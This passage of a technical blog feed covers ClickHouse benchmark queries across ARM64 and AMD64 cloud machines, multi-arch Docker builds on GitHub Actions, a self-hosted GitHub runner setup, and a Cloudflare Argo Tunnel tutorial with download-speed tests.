sum(ResolutionWidth + 73), sum(ResolutionWidth + 74), sum(ResolutionWidth + 75), sum(ResolutionWidth + 76), sum(ResolutionWidth + 77), sum(ResolutionWidth + 78), sum(ResolutionWidth + 79), sum(ResolutionWidth + 80), sum(ResolutionWidth + 81), sum(ResolutionWidth + 82), sum(ResolutionWidth + 83), sum(ResolutionWidth + 84), sum(ResolutionWidth + 85), sum(ResolutionWidth + 86), sum(ResolutionWidth + 87), sum(ResolutionWidth + 88), sum(ResolutionWidth + 89) FROM hits_100m_obfuscated;
SELECT SearchEngineID, ClientIP, count() AS c, sum(Refresh), avg(ResolutionWidth) FROM hits_100m_obfuscated WHERE SearchPhrase != '' GROUP BY SearchEngineID, ClientIP ORDER BY c DESC LIMIT 10;
SELECT WatchID, ClientIP, count() AS c, sum(Refresh), avg(ResolutionWidth) FROM hits_100m_obfuscated WHERE SearchPhrase != '' GROUP BY WatchID, ClientIP ORDER BY c DESC LIMIT 10;
SELECT WatchID, ClientIP, count() AS c, sum(Refresh), avg(ResolutionWidth) FROM hits_100m_obfuscated GROUP BY WatchID, ClientIP ORDER BY c DESC LIMIT 10;
SELECT URL, count() AS c FROM hits_100m_obfuscated GROUP BY URL ORDER BY c DESC LIMIT 10;
SELECT 1, URL, count() AS c FROM hits_100m_obfuscated GROUP BY 1, URL ORDER BY c DESC LIMIT 10;
SELECT ClientIP AS x, x - 1, x - 2, x - 3, count() AS c FROM hits_100m_obfuscated GROUP BY x, x - 1, x - 2, x - 3 ORDER BY c DESC LIMIT 10;
SELECT URL, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT DontCountHits AND NOT Refresh AND notEmpty(URL) GROUP BY URL ORDER BY PageViews DESC LIMIT 10;
SELECT Title, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT DontCountHits AND NOT Refresh AND notEmpty(Title) GROUP BY Title ORDER BY PageViews DESC LIMIT 10;
SELECT URL, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT Refresh AND IsLink AND NOT IsDownload GROUP BY URL ORDER BY PageViews DESC LIMIT 1000;
SELECT TraficSourceID, SearchEngineID, AdvEngineID, ((SearchEngineID = 0 AND AdvEngineID = 0) ? Referer : '') AS Src, URL AS Dst, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT Refresh GROUP BY TraficSourceID, SearchEngineID, AdvEngineID, Src, Dst ORDER BY PageViews DESC LIMIT 1000;
SELECT URLHash, EventDate, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT Refresh AND TraficSourceID IN (-1, 6) AND RefererHash = halfMD5('http://example.ru/') GROUP BY URLHash, EventDate ORDER BY PageViews DESC LIMIT 100;
SELECT WindowClientWidth, WindowClientHeight, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT Refresh AND NOT DontCountHits AND URLHash = halfMD5('http://example.ru/') GROUP BY WindowClientWidth, WindowClientHeight ORDER BY PageViews DESC LIMIT 10000;
SELECT toStartOfMinute(EventTime) AS Minute, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-02' AND NOT Refresh AND NOT DontCountHits GROUP BY Minute ORDER BY Minute;
为了快速在某一特定机型上完成所有版本的测试,我还自己做了一个 driver.py,大概的流程就是,对于每一个版本的镜像:
docker-compose.yml 并拉镜像+使用特定版本启动对于每个机器的测试会输出一个类似如下的 JSON 格式的报告方便后续查询和展示:
{
"clickhouse_commit_date": "2022-02-17T10:21:02Z",
"clickhouse_commit_id": "97317e8bb51d2723b539b7863dd6471a68b11d01",
"clickhouse_version": "22.2.3.5-stable",
"date": "2022-04-18",
"image_name": "knatnetwork/clickhouse-server:22.2.3.5-stable",
"machine_arch": "ARM64",
"machine_type": "c6g.2xlarge",
"machine_vendor": "AWS",
"results": [
{
"query": "SELECT count() FROM hits_100m_obfuscated;",
"time": 0.0016631285349527996
},
]
}
关于机器信息,之前看到过一个文章关于 AWS 上 AMD64 和 ARM64 性价比的对比,文章地址在: Evaluating Graviton 2 for data-intensive applications: an Arm vs Intel comparison 所以打算借这个机会对比一下配置相仿的 ARM64 和 AMD64 的机器的情况,使用的机器如下:
为了简单考虑,我直接把 43 个 Query 的总时间作为 Y 轴,版本号从低到高作为 X 轴,每一条线代表一个机器,作图(数值越低表示查询速度越快):

为此我做了一个站点: https://clickperf.knat.network/ ,有兴趣的话大家可以去看看,上面提供原始数据下载。
从图中可以得到以下信息:
21.12.2.17-stable,21.11.11.1-stable,21.11.10.1-stable) 上,ARM64 的机器性能有显著提升,AMD64 的机器未观察到类似的提升,原因不明另外在跑 Benchmark 的过程中,发现 ARM64 的机器普遍可以用满所有的 CPU 核心,而 AMD64 的机器除了 Hetzner 以外都没法用满所有核心(比如一直只有某 4 个核心是满载,其余核心 30% 左右负载), BennyThink 怀疑是被宿主机限制,但是这个说法暂时没法得到佐证,也有可能是我构建的镜像有啥问题。

在这里我想非常感谢 BennyThink 大佬给我提供了许多机器用于测试,没有 TA 的帮助,这个测试会失去许多重要数据,也没法因此发现 Vultr 其实也挺拉跨的。
也要感谢 purelind 大佬给我提供了 Oracle 帐号和一些测试上的指导。
还要感谢某个神秘人士帮我制作了 https://clickperf.knat.network/ 并报销了 AWS 账单上的开销,并让我深刻体会了——「没有钱,就没法做科研」的道理。
在测试中某些请求会失败,然后报错信息类似:
DB::Exception: Received from localhost:9000, 127.0.0.1.
DB::Exception: Memory limit for query exceeded: would use 9.31 GiB attempt to allocate chunk of 1048576 bytes , maximum: 9.31 GiB:
这种时候需要在 clickhouse-user-config.xml 中加入一个 max_memory_usage,类似如下:
<yandex>
<profiles>
<default>
<max_memory_usage>1280000000000</max_memory_usage>
<log_queries>0</log_queries>
<log_query_threads>0</log_query_threads>
</default>
</profiles>
</yandex>
可以參考:https://github.com/knatnetwork/clickhouse-server/runs/6053314472?check_suite_focus=true
#12 11.85 -- SYSTEM_LIBS zlib;ssl;crypto
#12 11.87 -- Dynamic column API support: ON
#12 11.88 -- SYSTEM processor: x86_64
#12 11.88 CMake Error at contrib/mariadb-connector-c/cmake/ConnectorName.cmake:30 (ENDMACRO):
#12 11.88 Flow control statements are not properly nested.
#12 11.88 Call Stack (most recent call first):
#12 11.88 contrib/mariadb-connector-c/CMakeLists.txt:428 (INCLUDE)
#12 11.88
#12 11.88
#12 11.88 -- Configuring incomplete, errors occurred!
#12 11.88 See also "/root/ClickHouse/build/CMakeFiles/CMakeOutput.log".
#12 11.88 See also "/root/ClickHouse/build/CMakeFiles/CMakeError.log".
#12 ERROR: process "/bin/sh -c cd /root/ClickHouse && mkdir build && cd build && cmake .. && ninja" did not complete successfully: exit code: 1
------
> [buildtime 4/5] RUN cd /root/ClickHouse && mkdir build && cd build && cmake .. && ninja:
#12 11.88 -- SYSTEM processor: x86_64
#12 11.88 CMake Error at contrib/mariadb-connector-c/cmake/ConnectorName.cmake:30 (ENDMACRO):
#12 11.88 Flow control statements are not properly nested.
#12 11.88 Call Stack (most recent call first):
#12 11.88 contrib/mariadb-connector-c/CMakeLists.txt:428 (INCLUDE)
#12 11.88
#12 11.88
#12 11.88 -- Configuring incomplete, errors occurred!
#12 11.88 See also "/root/ClickHouse/build/CMakeFiles/CMakeOutput.log".
#12 11.88 See also "/root/ClickHouse/build/CMakeFiles/CMakeError.log".
------
以下记录了用于测试的机器的 CPU 信息
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
Address sizes: 39 bits physical, 48 bits virtual
CPU(s): 8
On-line CPU(s) list: 0-7
Thread(s) per core: 2
Core(s) per socket: 4
Socket(s): 1
NUMA node(s): 1
Vendor ID: GenuineIntel
CPU family: 6
Model: 158
Model name: Intel(R) Xeon(R) CPU E3-1270 v6 @ 3.80GHz
Stepping: 9
CPU MHz: 800.337
CPU max MHz: 4200.0000
CPU min MHz: 800.0000
BogoMIPS: 7599.80
Virtualization: VT-x
L1d cache: 128 KiB
L1i cache: 128 KiB
L2 cache: 1 MiB
L3 cache: 8 MiB
NUMA node0 CPU(s): 0-7
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
Address sizes: 40 bits physical, 48 bits virtual
CPU(s): 8
On-line CPU(s) list: 0-7
Thread(s) per core: 2
Core(s) per socket: 4
Socket(s): 1
NUMA node(s): 1
Vendor ID: AuthenticAMD
CPU family: 23
Model: 49
Model name: AMD EPYC-Rome Processor
Stepping: 0
CPU MHz: 1996.249
BogoMIPS: 3992.49
Hypervisor vendor: KVM
Virtualization type: full
L1d cache: 128 KiB
L1i cache: 128 KiB
L2 cache: 2 MiB
L3 cache: 16 MiB
NUMA node0 CPU(s): 0-7
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
Address sizes: 40 bits physical, 48 bits virtual
CPU(s): 8
On-line CPU(s) list: 0-7
Thread(s) per core: 1
Core(s) per socket: 8
Socket(s): 1
NUMA node(s): 1
Vendor ID: AuthenticAMD
CPU family: 23
Model: 49
Model name: AMD EPYC Processor
Stepping: 0
CPU MHz: 2445.406
BogoMIPS: 4890.81
Hypervisor vendor: KVM
Virtualization type: full
L1d cache: 256 KiB
L1i cache: 256 KiB
L2 cache: 4 MiB
L3 cache: 32 MiB
NUMA node0 CPU(s): 0-7
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
Address sizes: 46 bits physical, 48 bits virtual
CPU(s): 8
On-line CPU(s) list: 0-7
Thread(s) per core: 2
Core(s) per socket: 4
Socket(s): 1
NUMA node(s): 1
Vendor ID: GenuineIntel
CPU family: 6
Model: 85
Model name: Intel(R) Xeon(R) Platinum 8124M CPU @ 3.00GHz
Stepping: 4
CPU MHz: 2999.998
BogoMIPS: 5999.99
Hypervisor vendor: KVM
Virtualization type: full
L1d cache: 128 KiB
L1i cache: 128 KiB
L2 cache: 4 MiB
L3 cache: 24.8 MiB
NUMA node0 CPU(s): 0-7
Architecture: aarch64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 8
On-line CPU(s) list: 0-7
Thread(s) per core: 1
Core(s) per socket: 8
Socket(s): 1
NUMA node(s): 1
Vendor ID: ARM
Model: 1
Model name: Neoverse-N1
Stepping: r3p1
BogoMIPS: 243.75
L1d cache: 512 KiB
L1i cache: 512 KiB
L2 cache: 8 MiB
L3 cache: 32 MiB
NUMA node0 CPU(s): 0-7
如果你不懂什么是 Multi-Arch 的话,你可以先看看上面的文章.
- name: Set up QEMU
uses: docker/setup-qemu-action@v1
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Build and push latest images
uses: docker/build-push-action@v2
with:
context: .
platforms: linux/arm64, linux/amd64
push: true
tags: |
n0vad3v/bennythink:latest
这样我们就可以很方便地构建多架构镜像了,但是我们要知道一点:GitHub Actions 的机器是 Standard_DS2_v2,是一个 2 Core 7G 内存的小机器,而且甚至没法加钱换大机器,这样的话我们在构建一些比较鸡掰的包的时候就容易超时,比如…构建 CMake 可能需要 2hr…
再加上 ARM64 的部分是用 QEMU 模拟的,两个一起跑那真的是…等到跑了 6 个小时任务超时被 Kill 掉的时候…
只剩下滿腹的辛酸 無限的苦痛
为了解决这个问题(而且不花钱),我们就要充分利用 GitHub Actions 的 Jobs,我们知道,一个 Workflow 中的每个 Job 都是单独的机器在跑,所以这里的思路就从单机构建 Multi-Arch 镜像改为:
n0vad3v/bennythink:latest,那么这里分别构建 n0vad3v/bennythink-amd64:latest 和 n0vad3v/bennythink-arm64:latestdocker manifest amend这一步非常简单,只需要多写几个 Job 就好了,类似这样:
build-arm64-image:
name: Build ARM64 Image
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Login to Docker Hub
uses: docker/login-action@v1
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_PASSWD }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v1
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Build and push latest images
uses: docker/build-push-action@v2
with:
context: .
platforms: linux/arm64
push: true
tags: |
n0vad3v/bennythink-arm64:latest
build-amd64-image:
name: Build AMD64 Image
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Login to Docker Hub
uses: docker/login-action@v1
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_PASSWD }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v1
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Build and push latest images
uses: docker/build-push-action@v2
with:
context: .
platforms: linux/amd64
push: true
tags: |
n0vad3v/bennythink-amd64:latest
上面两个 Job 完成后,我们应该已经得到并 push 了 n0vad3v/bennythink-amd64:latest 和 n0vad3v/bennythink-arm64:latest 两个镜像,接下来使用一个任务把这两个镜像合并到一起,并使用 needs 保证只会在前面构建的任务完成后才会运行,示例如下:
combine-two-images:
runs-on: ubuntu-latest
needs:
- build-arm64-image
- build-amd64-image
steps:
- name: Login to Docker Hub
uses: docker/login-action@v1
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_PASSWD }}
- name: Combine two images
run: |
docker manifest create n0vad3v/bennythink:latest --amend n0vad3v/bennythink-amd64:latest --amend n0vad3v/bennythink-arm64:latest
docker manifest push n0vad3v/bennythink:latest
然后就成了.
由于通过 QEMU 模拟的构建镜像非常的慢,所以一定要用好缓存机制(比如使用 actions/cache@v3 ),不过一定要看清楚官方文档,了解清楚 key 和 restore-keys 这类参数的用法,不要直接复制(不然就会像我一样两个 Job 写成了一个 key 然后 AMD64 的缓存总是把 ARM64 的缓存给覆盖掉了)。
用 QEMU 模拟 ARM64 真的是慢到吃屎都赶不上热乎的
不过即使是这样你也没法成功地在 6hr 限制内用 GitHub Actions 的官方 Runner 编译完成 ClickHouse,但是对于一些没有那么重的任务来说,这样可以提升不少速度,目前我已经在如下仓库上实践这个策略:
顺便可以感受一下 QEMU 模拟的 ARM64 和 AMD64 原生之间的构建速度差距有多大:

最终我自己的需求还是通过前两天开源的 knatnetwork/github-runner 并搭配 DOKS 和 Eks 创建了一堆 AMD64 和 ARM64 的机器注册 Self-hosted Runner 在对应平台原生构建了,后续有机会我会写另一篇文章分享。
]]>文档站点: https://runner.knat.network
其实也不算什么开源,只是拿出来,整理一下并和大家一起分享一下,顺便希望针对这个事情写一篇文章做点记录。
由于我对于 CI 的了解不是很多,但是偶尔还是会设计到一些 CI/CD 流水线的改造,以及一些自动化的动作(可能就是其他人所谓的 GitOps 啦),在使用过一些 CI 工具之后,对于不同的 CI 系统有着如下粗浅的认知和偏见:
当然可能各位还有见过一些什么把 PR 上的 CI 叫 测试CI,合并后才开始跑的测试叫 合并CI,每天只跑一次 master 分支的叫 日常CI ,然后本来就应该 per commit 触发的 CI 测试叫做「左移测试」的这种生造名词以给大家和维护者产生困扰的事情也就不在这个讨论范围内了。
哦,当然
由于我的需求在于:打镜像,部署镜像,跑测试,跑一些 奇 妙 的负载,从上述了解来看,GitHub Actions 无疑是最合适的选择了。
很简单,我要 ARM64 的 Runner,我需要更多的内存和 CPU,我希望使用到内网资源,这些官方的 2C7G 的小 Runner 完全没法满足我的某些需求,加上大量已经通过 GitHub Actions 写好的流水线迁移起来有额外的成本,自托管 Runner 无疑是一个最佳的选择。
目前市面上有不少 Runner 的 Operator,可以很方便地在集群中 apply 一个 YML,然后就有了弹性调度 Runner,但是苦于一直没有找到一个可以方便部署的,单机的,没有那么复杂的方案,所以只要自己造轮子,做出来了这么个 Runner,从个人使用,到公司内部使用,目前看上去 it really works.
而且在内部使用的过程中,进行了一些蜜汁优化,比如:GitHub Actions Self-Hosted Runner 优化——Golang 相关内网缓存
由于在我们自己的使用场景下有着不错的体验,我打算把这个方案公开出来与大家一起分享。
整个 Self-hosted Runner 的结构如下:

第一个服务被我称为 KMS,它存储着 Personal Access Token,其余 Runner 服务通过和 ‘KMS’ 服务通信,拿到自己的 Registration Code 并向 GitHub 注册自己,防止 Token 在 Runner 中被攻击者偷走拿去搞事。
关于这个 KMS 以及偷 Token 的方式可以见我之前的文章「关于从 GitHub Actions Self-Hosted Runner 中偷 Secrets/Credentials 的一些安全研究」
其次就是 Runner, 其实就是一个基于 ubuntu:20.04 构建出来的 Docker 容器,装了一些必要的软件并加入了 GitHub Runner 组件,如果在 CI 任务中需要使用到 Docker 的一些功能,可以启动一个 DinD 或者直接暴露宿主机的 Docker Sock(虽然我不推荐这么做)。
如果是希望单机部署的话,只要像下面一样糊一个 docker-compose.yml (并写一下 config.json)就可以启动了:
version: '3'
services:
runner:
image: knatnetwork/github-runner:focal-2.290.1
restart: always
environment:
RUNNER_REGISTER_TO: 'knatnetwork'
RUNNER_LABELS: 'docker,knat'
KMS_SERVER_ADDR: 'http://kms:3000/'
GOPROXY: 'http://goproxy.knat.network,https://proxy.golang.org,direct'
ADDITIONAL_FLAGS: '--ephemeral'
depends_on:
- kms
kms:
image: knatnetwork/github-runner-kms:latest
restart: always
volumes:
- ./config.json:/usr/src/app/config.json
你看,很简单是不是,不需要污染本地环境,也不需要搞什么 Operator,docker-compose up -d,然后你的 Runner 就上线了,多快乐!
如果你不再需要它了的话,就 docker-compose down,它会自己从 GitHub 上删除自己,不留一点垃圾。
如果你已经有一个 K8s 环境,并且希望快速扩/缩容的话,可以写一个 Deployment 来完成,鉴于篇幅,大伙儿可以直接参考文档站:Kubernetes | GitHub Actions Runner

在把 Runner 公开前我想过很多方式,譬如弄一个新的域名和名字来维护,或者直接挂在 n0vad3v 账户和 nova.moe 的一个子域名下,感觉都不是很合适,正好看到之前 G2FS 和 G2WW 都已经使用了 knat.network 这个域名,于是便想到:嘿,为什么不直接使用这个名字来做点事情呢?
强哥也曾经这么说过:
把事情放到一个大的框架下做
关于 KNAT:这其实是我大学时期的一个…想法,也是毕业设计的内容,它尝试模拟了 Cloudflare 的一个服务并将反代的效率提升了 20%(当然是以内存和算力的代价换来的)。
至于 KNAT 这个名字代表着什么,容我摘录一段毕业论文上的文字(请无视某个 Typo)

以上,Have Fun.
]]>This article was last updated on March 1, 2024, and includes the updated deployment and installation methods for the new version of
cloudflared.
Yes, this is an article documenting the usage of cloudflared and sharing some thoughts. Regarding the usage of Cloudflare’s Argo Tunnel, you can find it in the article titled “Cloudflare Argo Tunnel Experiment: Finally, I Can Host a Website with a Raspberry Pi”. Cloudflare Argo Tunnel provides a lightweight daemon program called cloudflared, which can be installed on your own machine to establish a connection with Cloudflare and provide web services. In Cloudflare’s words:
With Tunnel, users can create a private link from their origin server directly to Cloudflare without a publicly routable IP address. Instead, this private connection is established by running a lightweight daemon, cloudflared, on your origin, which creates a secure, outbound-only connection. This means that only traffic that routes through Cloudflare can reach your origin.
Typically, when setting up a website and joining Cloudflare, there are several typical steps involved:
127.0.0.1:8080).There are many complexities involved in the above steps, and you might end up setting up various firewall rules only to realize that your application is directly exposed on <server_public_IP>:8080 due to a hole created by Docker on your machine (as mentioned in the article “Why Isn’t My UFW Working? How to Block Non-Cloudflare Access When Using Docker”).
To address such issues, you can use Cloudflare Argo Tunnel, which works as follows:
127.0.0.1:8080).
Doesn’t this sound similar to Tor’s Hidden Service?
As of now (March 1, 2024), the installation and deployment of cloudflared have been integrated into the “Zero Trust” dashboard by Cloudflare.

If you want to create a new tunnel, you can directly create it here. After creation, you will be provided with the Systemd + binary installation method:


You can change the name later, so no worries.

In this example, the installation method is shown in the last screenshot:
curl -L --output cloudflared.deb https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb &&
sudo dpkg -i cloudflared.deb &&
sudo cloudflared service install eyJhIjoi.....JMSJ9
Note that eyJhIjoi.....JMSJ9 is the token for the tunnel. If you prefer not to use this one-click installation method or if you want to have multiple different services on the same machine using different tunnels, you can record this token and deploy it using a Docker container.
For example, if you have a containerized service listening on port 8080, you can expose it separately using cloudflared by following these steps:
version: '3'
services:
some_service:
image: ghcr.io/n0vad3v/some_service:latest
restart: always
cloudflared:
image: cloudflare/cloudflared
restart: always
command: --no-autoupdate tunnel run
environment:
- TUNNEL_TOKEN=eyJhIjoi.....JMSJ9
Since services within a Docker Compose network can communicate with each other using service names, in the above example, the service name is set as some_service. You can configure it accordingly on the Tunnel page:

After that, your service will be successfully exposed to the outside world.
Updated on March 1, 2024: This is the old installation method, and it may not be necessary anymore.
As a documentation piece, let’s see how to perform the above operations (assuming you already have a Cloudflare account and have added a domain).
First, we need to download cloudflared. Since it is a binary, we can download it and run it directly:
wget https://github.com/cloudflare/cloudflared/releases/download/2022.3.4/cloudflared-linux-amd64
chmod +x cloudflared-linux-amd64
mv cloudflared-linux-amd64 /usr/bin/cloudflared
Log in to cloudflared locally. It will provide a URL, and you need to access it using a browser to select a domain:
cloudflared tunnel login
Cloudflare will create a cert.pem file in your ~/.cloudflared directory.
Next, create a tunnel (e.g., knat-tunnel):
cloudflared tunnel create knat-tunnel
This will output some information about the tunnel ID (e.g., xxxxxxx-5b0e-xxxx-8034-xxxxxxx). Make sure to record this information as it will be used later.
Create a domain for the tunnel. For example, I used tunnel.knat.network:
cloudflared tunnel route dns knat-tunnel tunnel.knat.network
Finally, create a configuration file (e.g., ~/.cloudflared/knat.yml) with the following content:
url: http://localhost:8080
tunnel: xxxxxxx-5b0e-xxxx-8034-xxxxxxx
credentials-file: /root/.cloudflared/xxxxxxx-5b0e-xxxx-8034-xxxxxxx.json
Start the tunnel:
cloudflared tunnel --config ~/.cloudflared/knat.yml run
This will display some debug information, including the Cloudflare nodes to which it is connected:
022-03-26T06:52:31Z INF Starting tunnel tunnelID=xxxxxxx-5b0e-xxxx-8034-xxxxxxx
2022-03-26T06:52:31Z INF Version 2022.3.4
...
2022-03-26T06:52:31Z INF Generated Connector ID: 624aa020-a90a-4bef-91da-330c74edb02f
2022-03-26T06:52:31Z INF Initial protocol http2
2022-03-26T06:52:31Z INF Starting metrics server on 127.0.0.1:44143/metrics
2022-03-26T06:52:33Z INF Connection 34504363-646c-46a2-973d-bd112943c58f registered connIndex=0 location=KIX
2022-03-26T06:52:34Z INF Connection 7a3ec8f7-482c-4fe5-93c4-69d1177ca457 registered connIndex=1 location=NRT
2022-03-26T06:52:35Z INF Connection 7d571bdb-96d2-49d3-b8bf-14754aa6cf8b registered connIndex=2 location=KIX
2022-03-26T06:52:36Z INF Connection 473e30ae-e98b-4da1-8768-12bf5304c7ab registered connIndex=3 location=NRT
Now, when you start a local service listening on 127.0.0.1:8080, you can access it directly using the provided domain.
If you want to create a tunnel on another machine, you can simply copy the
~/.cloudflared/directory without the need to log in again.
Many people have already performed tests while creating tunnels, but the motivation behind this article is to test the speed. We know that Cloudflare defaults to routing traffic to the nearest origin server. In my previous article, “Simulating Argo Using an Anycast Network Behind Cloudflare”, I described the following:
proxy_pass https://origin.nova.moe;.If these two conclusions are difficult to understand, let’s consider the following scenario: Suppose my blog is located in France (let’s assume it resolves to origin.nova.moe), and you are a visitor from mainland China. Considering the current network environment:
proxy_pass https://origin.nova.moe;. It’s simple, right? But this is “public network sourcing.”proxy_pass https://origin.nova.moe;.By using Argo Tunnel, since the origin traffic goes through various public network tunnels of Cloudflare, it can reduce detours and, in some cases, improve speed. In simple terms, the speed should be faster. Cloudflare’s official promotional image illustrates this:

This applies to Argo Tunnel as well. To demonstrate this, I conducted a test with the following conditions:


without-tunnel.knat.network is directly resolved to the server in Helsinki, with Cloudflare CDN enabled.tunnel.knat.network is the tunnel created using cloudflared on the server in Helsinki.fallocate -l 1G CoronaVac.img.wget on the server in Japan.Let’s directly look at the conclusions. When connected directly, the speed is as follows (average speed: 4.97 MB/s):
○ wget https://without-tunnel.knat.network/CoronaVac.img
--2022-03-26 15:07:39-- https://without-tunnel.knat.network/CoronaVac.img
Resolving without-tunnel.knat.network (without-tunnel.knat.network)... 2606:4700:3037::6815:2403, 2606:4700:3033::ac43:b694, 172.67.182.148, ...
Connecting to without-tunnel.knat.network (without-tunnel.knat.network)|2606:4700:3037::6815:2403|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1073741824 (1.0G) [application/octet-stream]
Saving to: ‘CoronaVac.img’
CoronaVac.img 100%[==============================================================================>] 1.00G 5.37MB/s in 3m 26s
2022-03-26 15:11:06 (4.97 MB/s) - ‘CoronaVac.img’ saved [1073741824/1073741824]
When using Argo Tunnel, the speed is as follows (average speed: 13.6 MB/s):
○ wget https://tunnel.knat.network/CoronaVac.img
--2022-03-26 15:12:39-- https://tunnel.knat.network/CoronaVac.img
Resolving tunnel.knat.network (tunnel.knat.network)... 2606:4700:3037::6815:2403, 2606:4700:3033::ac43:b694, 172.67.182.148, ...
Connecting to tunnel.knat.network (tunnel.knat.network)|2606:4700:3037::6815:2403|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1073741824 (1.0G) [application/octet-stream]
Saving to: ‘CoronaVac.img’
CoronaVac.img 100%[==============================================================================>] 1.00G 14.8MB/s in 75s
2022-03-26 15:13:56 (13.6 MB/s) - ‘CoronaVac.img’ saved [1073741824/1073741824]
The speed increased fourfold.

Moreover, this service is even free:
In the past, Argo Tunnel has been priced based on bandwidth consumption as part of Argo Smart Routing, Cloudflare’s traffic acceleration feature. Starting today, we’re excited to announce that any organization can use the secure, outbound-only connection feature of the product at no cost.
——A Boring Announcement: Free Tunnels for Everyone
Many of our infrastructure services are provided by US companies, or we heavily rely on products from US companies. The developer-friendly clouds we are familiar with (such as Vultr, Digital Ocean, Linode), major public clouds (AWS, GCP, Azure), major CDN providers (Cloudflare, Akamai, Fastly), commonly used technologies like Docker/Kubernetes, and the two major front-end frameworks (React, Angular) are all products of US companies.
As a result, it becomes quite challenging to have services that are completely hosted in the EU and owned by EU companies.
Sometimes I wonder: When these companies introduce exciting and hard-to-replace products (such as S3 or Lambda), what are we doing? What products do we have that are truly driving progress in certain areas of the internet? Even if it’s just a small improvement…
(Or perhaps we are still busy creating scenarios, empowering industries, providing leverage, and assisting in Southeast Asian expansion?)
This brings to mind a statement from Cloudflare’s blog:
At Cloudflare, our mission is to help build a better Internet.
I hope this documentation and test can inspire some people in their business. That’s all.
]]>本文于 2024-03-01 更新,更新了新版本的
cloudflared部署和安装方式
是的,这是一篇记录 cloudflared 的使用历程和一些思路的文章,关于 Cloudflare 的 Argo Tunnel 的用法,我们在 「Cloudflare Argo Tunnel 小试:我终于可以用树莓派做网站啦」 文章中可以看到:Cloudflare Argo Tunnel 提供一个轻量级的 daemon 程序,被称为 cloudflared,用于安装在你自己的机器上并主动和 Cloudflare 保持连接,并可以提供 Web 服务,用 Cloudflare 的话来说,就是:
With Tunnel, users can create a private link from their origin server directly to Cloudflare without a publicly routable IP address. Instead, this private connection is established by running a lightweight daemon, cloudflared, on your origin, which creates a secure, outbound-only connection. This means that only traffic that routes through Cloudflare can reach your origin.
我们之前要建立一个网站并加入 Cloudflare 一般会有如下典型的步骤:
127.0.0.1:8080)这其中有许多的麻烦不说,可能你设置好了许多防火墙规则,最后发现由于 Docker 在你的机器上开个洞(如 「我的 ufw 怎么又不好用了?使用 docker 时如何拒绝非 cloudflare 访问」 一文所记录),导致你的应用其实直接裸奔在 <服务器公网 IP>:8080 上,这就很尴尬了。
对于以上的情况,使用 Cloudflare Argo Tunnel 就可以解决这个问题,它的工作模式如下:
127.0.0.1:8080)
是不是听上去和 Tor 的 Hidden Service 很像?
在目前(2024-03-01),cloudflared 的安装和部署被 Cloudflare 整合到了 「Zero Trust」 后台中了

如果要创建一个新的 Tunnel 可以直接在这里创建,创建完成后会给出 Systemd + binary 的安装方式:


这里名字日后是可以改的,不用担心

在本例中,安装方式为最后一张截图下方可以直接下载:
curl -L --output cloudflared.deb https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb &&
sudo dpkg -i cloudflared.deb &&
sudo cloudflared service install eyJhIjoi.....JMSJ9
注意 eyJhIjoi.....JMSJ9 这一个即为 Tunnel 的 Token,如果你不喜欢用这个一键的安装方式,或者希望机器上有多个不同的服务可以用不同的 Tunnel 的话,可以记录下这个 Token 用 Docker 容器部署。
例子:如果我有一个容器化的服务监听在 8080 端口上,我可以单独为这个容器化的服务启动一个 cloudflared 对外暴露,方法如下:
version: '3'
services:
some_service:
image: ghcr.io/n0vad3v/some_service:latest
restart: always
cloudflared:
image: cloudflare/cloudflared
restart: always
command: --no-autoupdate tunnel run
environment:
- TUNNEL_TOKEN=eyJhIjoi.....JMSJ9
由于在 Compose 创建的网络中可以直接通过服务名称互相联通,上面我的服务名字叫做 some_service,那此时可以在对应的 Tunnel 页面可以这么配置:

然后你的服务就可以成功对外暴露啦~
2024-03-01 更新:这个是老的安装方法,现在应该已经不需要这么做了。
作为一篇记录,我们来看看上述操作需要怎么做吧。(假设你已经有了一个 Cloudflare 帐号并且已经添加好了域名)
首先我们需要下载 cloudflared ,由于就是一个 binary,我们直接下载下来跑就好:
wget https://github.com/cloudflare/cloudflared/releases/download/2022.3.4/cloudflared-linux-amd64
chmod +x cloudflared-linux-amd64
mv cloudflared-linux-amd64 /usr/bin/cloudflared
本地登录一下 cloudflared ,这个时候会给出一个 URL,用浏览器访问后选择域名即可:
cloudflared tunnel login
此时 Cloudflare 会创建一个 cert.pem 文件放在你的 ~/.cloudflared 目录下。
